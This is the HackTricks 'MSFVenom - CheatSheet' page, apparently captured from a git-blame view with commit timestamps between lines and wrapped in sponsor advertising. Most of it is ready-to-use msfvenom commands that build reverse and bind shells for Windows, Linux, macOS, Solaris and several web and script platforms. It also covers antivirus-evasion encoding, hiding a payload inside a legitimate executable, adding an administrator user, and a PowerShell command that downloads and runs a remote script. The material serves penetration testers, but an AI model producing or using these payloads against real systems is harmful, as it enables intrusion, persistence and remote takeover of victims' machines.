2023-03-05 19:54:13 +00:00
# MSFVenom - CheatSheet
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-03-05 19:54:13 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2023-05-29 10:35:28 +00:00
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2023-03-05 19:54:13 +00:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **and** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2023-07-14 14:20:34 +00:00
**HackenProof is home to all crypto bug bounties.**
2022-11-05 09:07:43 +00:00
2023-07-14 14:20:34 +00:00
**Get rewarded without delays**\
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
2023-02-27 09:28:45 +00:00
2023-07-14 14:20:34 +00:00
**Get experience in web3 pentesting**\
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
2022-11-05 09:07:43 +00:00
2023-07-14 14:20:34 +00:00
**Become the web3 hacker legend**\
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
[**Sign up on HackenProof** ](https://hackenproof.com/register ) start earning from your hacks!
{% embed url="https://hackenproof.com/register" %}
2023-07-30 21:28:42 +00:00
***
2023-02-27 09:28:45 +00:00
2020-11-11 00:39:24 +00:00
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
2020-07-15 15:43:14 +00:00
One can also use the `-a` to specify the architecture or the `--platform`
2023-03-05 19:54:13 +00:00
## Listing
2020-07-15 15:43:14 +00:00
```bash
2022-11-10 09:24:36 +00:00
msfvenom -l payloads #Payloads
2020-07-15 15:43:14 +00:00
msfvenom -l encoders #Encoders
```
2023-03-05 19:54:13 +00:00
## Common params when creating a shellcode
2020-07-15 15:43:14 +00:00
```bash
-b "\x00\x0a\x0d"
-f c
-e x86/shikata_ga_nai -i 5
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```
2023-03-05 19:54:13 +00:00
## **Windows**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **Reverse Shell**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
2023-03-05 19:54:13 +00:00
### Bind Shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
2023-03-05 19:54:13 +00:00
### Create User
2020-07-15 15:43:14 +00:00
```bash
2020-11-09 22:18:10 +00:00
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
2020-07-15 15:43:14 +00:00
```
2023-03-05 19:54:13 +00:00
### CMD Shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
2023-03-05 19:54:13 +00:00
### **Execute Command**
2020-07-15 15:43:14 +00:00
```bash
2020-12-15 09:10:57 +00:00
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
2020-07-15 15:43:14 +00:00
```
2023-03-05 19:54:13 +00:00
### Encoder
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
2023-03-05 19:54:13 +00:00
### Embedded inside executable
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=< IP > LPORT=< PORT > -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
2023-03-05 19:54:13 +00:00
## Linux Payloads
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### Reverse Shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
2023-03-05 19:54:13 +00:00
### Bind Shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
2023-03-05 19:54:13 +00:00
### SunOS (Solaris)
2020-07-15 15:43:14 +00:00
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
2023-03-05 19:54:13 +00:00
## **MAC Payloads**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **Reverse Shell:**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
2023-03-05 19:54:13 +00:00
### **Bind Shell**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
2023-03-05 19:54:13 +00:00
## **Web Based Payloads**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **PHP**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
#### Reverse shel**l**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP > LPORT=< PORT > -f raw > shell.php
2020-11-09 22:18:10 +00:00
cat shell.php | pbcopy && echo '< ?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
2020-07-15 15:43:14 +00:00
```
2023-03-05 19:54:13 +00:00
### ASP/x
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
#### Reverse shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
2023-03-05 19:54:13 +00:00
### JSP
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
#### Reverse shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
2023-03-05 19:54:13 +00:00
### WAR
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
#### Reverse Shell
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
2023-03-05 19:54:13 +00:00
### NodeJS
2020-07-15 15:43:14 +00:00
```bash
2022-05-27 15:32:15 +00:00
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
2020-07-15 15:43:14 +00:00
```
2023-03-05 19:54:13 +00:00
## **Script Language payloads**
2020-07-15 15:43:14 +00:00
2023-03-05 19:54:13 +00:00
### **Perl**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
2023-03-05 19:54:13 +00:00
### **Python**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
2023-03-05 19:54:13 +00:00
### **Bash**
2020-07-15 15:43:14 +00:00
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=< Local IP Address > LPORT=< Local Port > -f raw > shell.sh
```
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 14:20:34 +00:00
**HackenProof is home to all crypto bug bounties.**
**Get rewarded without delays**\
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
2023-03-05 19:54:13 +00:00
2023-07-14 14:20:34 +00:00
**Get experience in web3 pentesting**\
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
2023-02-27 09:28:45 +00:00
2023-07-14 14:20:34 +00:00
**Become the web3 hacker legend**\
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
2023-02-27 09:28:45 +00:00
2023-07-14 14:20:34 +00:00
[**Sign up on HackenProof** ](https://hackenproof.com/register ) start earning from your hacks!
2022-11-05 09:07:43 +00:00
2023-07-14 14:20:34 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-03-05 19:54:13 +00:00
* Do you work in a **cybersecurity company** ? Do you want to see your **company advertised in HackTricks** ? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF** ? Check the [**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop )!
* Discover [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), our collection of exclusive [**NFTs** ](https://opensea.io/collection/the-peass-family )
* Get the [**official PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2023-05-29 10:35:28 +00:00
* **Join the** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** me on **Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2023-03-05 19:54:13 +00:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **and** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >